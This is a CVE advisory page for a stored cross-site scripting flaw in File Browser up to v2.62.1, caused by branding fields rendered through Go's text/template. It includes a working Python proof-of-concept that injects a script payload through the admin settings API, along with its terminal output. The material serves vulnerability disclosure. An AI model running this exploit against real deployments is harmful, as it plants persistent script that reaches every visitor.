CVE-2026-34530: File Browser is vulnerable to Stored Cross-Site Scripting via text/template branding injection

Published Mar 31, 2026
·
Updated

Summary The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets branding.name to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.

<br/>

Details http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields are inserted directly into HTML without any escaping:

go // http/static.go, line 16 — imports text/template instead of html/template "text/template"

// http/static.go, line 33 — branding.Name passed into template data "Name": d.settings.Branding.Name,

// http/static.go, line 97 — template parsed with custom delimiters, no escaping index := template.Must(template.New("index").Delims("[{[", "]}]").Parse(string(fileContents)))

The frontend template (frontend/public/index.html) embeds these fields directly: html <!-- frontend/public/index.html, line 16 --> [{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]

<!-- frontend/public/index.html, line 42 --> content="[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]"

Since text/template performs NO HTML escaping (unlike html/template), setting branding.name to </title><script>alert(1)</script> breaks out of the <title> tag and injects arbitrary script into every page load.

Additionally, when ReCaptcha is enabled, the ReCaptchaHost field is used as: html <script src="[{[.ReCaptchaHost]}]/recaptcha/api.js"></script> This allows loading arbitrary JavaScript from an admin-chosen origin.

No Content-Security-Policy header is set on the SPA entry point, so there is no CSP mitigation.

<br/>

PoC Below is the PoC python script that could be ran on test environment using docker compose:

yaml services:

filebrowser: image: filebrowser/filebrowser:v2.62.1 user: 0:0 ports: - "80:80"

And running this PoC python script: python import argparse import json import sys import requests

BANNER = """ Stored XSS via Branding Injection PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: http/static.go uses text/template (not html/template) Branding fields rendered unescaped into SPA index.html """

XSSMARKER = "XSSBRANDINGPOC12345" XSSPAYLOAD = ( '</title><script>window.' + XSSMARKER + '=1;' 'alert("XSS in File Browser branding")</script><title>' )

def login(base: str, username: str, password: str) -> str: r = requests.post(f"{base}/api/login", json={"username": username, "password": password}, timeout=10) if r.statuscode != 200: print(f" Login failed: {r.statuscode}") sys.exit(1) return r.text.strip('"')

def main(): sys.stdout.write(BANNER) sys.stdout.flush()

ap = argparse.ArgumentParser( formatterclass=argparse.RawDescriptionHelpFormatter, description="Stored XSS via branding injection PoC", epilog="""examples: %(prog)s -t http://localhost -u admin -p admin %(prog)s -t http://target.com/filebrowser -u admin -p secret

how it works: 1. Authenticates as admin to File Browser 2. Sets branding.name to a <script> payload via PUT /api/settings 3. Fetches the SPA index (unauthenticated) to verify the payload renders unescaped in the HTML <title> tag

root cause: http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields like Name are inserted directly into HTML: <title>[{[.Name]}]</title> No escaping is applied, so HTML/JS in the name breaks out of the <title> tag and executes as script.

impact: Stored XSS affecting ALL visitors (including unauthenticated). An admin (or attacker who compromised admin) can inject persistent JavaScript that steals credentials from every user who visits.""", )

ap.addargument("-t", "--target", required=True, help="Base URL of File Browser (e.g. http://localhost)") ap.addargument("-u", "--user", required=True, help="Admin username") ap.addargument("-p", "--password", required=True, help="Admin password") if len(sys.argv) == 1: ap.printhelp() sys.exit(1) args = ap.parseargs()

base = args.target.rstrip("/") hdrs = lambda tok: {"X-Auth": tok, "Content-Type": "application/json"}

print() print("[] ATTACK BEGINS...") print("====================")

print(f"\n [1] Authenticating to {base}") token = login(base, args.user, args.password) print(f" Logged in as: {args.user}")

print(f"\n [2] Injecting XSS payload into branding.name") r = requests.get(f"{base}/api/settings", headers=hdrs(token), timeout=10) if r.statuscode != 200: print(f" Failed: GET /api/settings returned {r.statuscode}") print(f" (requires admin privileges)") sys.exit(1) settings = r.json() settings["branding"]["name"] = XSSPAYLOAD r = requests.put(f"{base}/api/settings", headers=hdrs(token), json=settings, timeout=10) if r.statuscode != 200: print(f" Failed: PUT /api/settings returned {r.statuscode}") sys.exit(1) print(f" Payload injected")

print(f"\n [3] Verifying XSS renders in unauthenticated SPA") r = requests.get(f"{base}/", timeout=10) html = r.text

if XSSMARKER in html: print(f" XSS payload found in HTML response!") for line in html.split("\n"): if XSSMARKER in line: print(f" >>> {line.strip()[:120]}") csp = r.headers.get("Content-Security-Policy", "") if not csp: print(f" No CSP header — script executes without restriction") confirmed = True else: print(f" Payload NOT found in HTML") confirmed = False

print() print("====================")

if confirmed: print() print("CONFIRMED: text/template renders branding.name without escaping.") print("The <title> tag is broken and arbitrary <script> executes.") print("Every visitor (authenticated or not) receives the payload.") print() print(f"Open {base}/ in a browser to see the alert() popup.") else: print() print("NOT CONFIRMED in this test run.") print()

if name == "main": main()

And terminal output: bash root@server205:~/sec-filebrowser# python3 pocbrandingxss.py -t http://localhost -u admin -p "jhSR9z9pofv5evlX"

Stored XSS via Branding Injection PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: http/static.go uses text/template (not html/template) Branding fields rendered unescaped into SPA index.html

[] ATTACK BEGINS... ====================

[1] Authenticating to http://localhost Logged in as: admin

[2] Injecting XSS payload into branding.name Payload injected

[3] Verifying XSS renders in unauthenticated SPA XSS payload found in HTML response! >>> </title><script>window.XSSBRANDINGPOC12345=1;alert("XSS in File Browser branding")</script><title> >>> window.FileBrowser = {"AuthMethod":"json","BaseURL":"","CSS":false,"Color":"","DisableExternal":false,"DisableUsedPercen No CSP header — script executes without restriction

====================

CONFIRMED: text/template renders branding.name without escaping. The <title> tag is broken and arbitrary <script> executes. Every visitor (authenticated or not) receives the payload.

Open http://localhost/ in a browser to see the alert() popup.

<br/>

Impact - Stored XSS affecting ALL visitors including unauthenticated users - Persistent backdoor — the payload survives until branding is manually changed

Other sources

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to version 2.62.2, the SPA index page in File Browser is vulnerable to Stored Cross-Site Scripting (XSS) via admin-controlled branding fields. An admin who sets branding.name to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users. This issue has been patched in version 2.62.2.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/filebrowser/filebrowser/v2<=2.62.1
2.62.2
Filebrowser Filebrowser<2.62.2

Event History

Mar 31, 2026
Advisory Published
via GitHub·11:45 PM
Data Sourced
via GitHub·11:45 PM
DescriptionSeverityWeaknessAffected Software
Apr 1, 2026
CVE Published
via MITRE·08:41 PM
Data Sourced
via MITRE·08:41 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203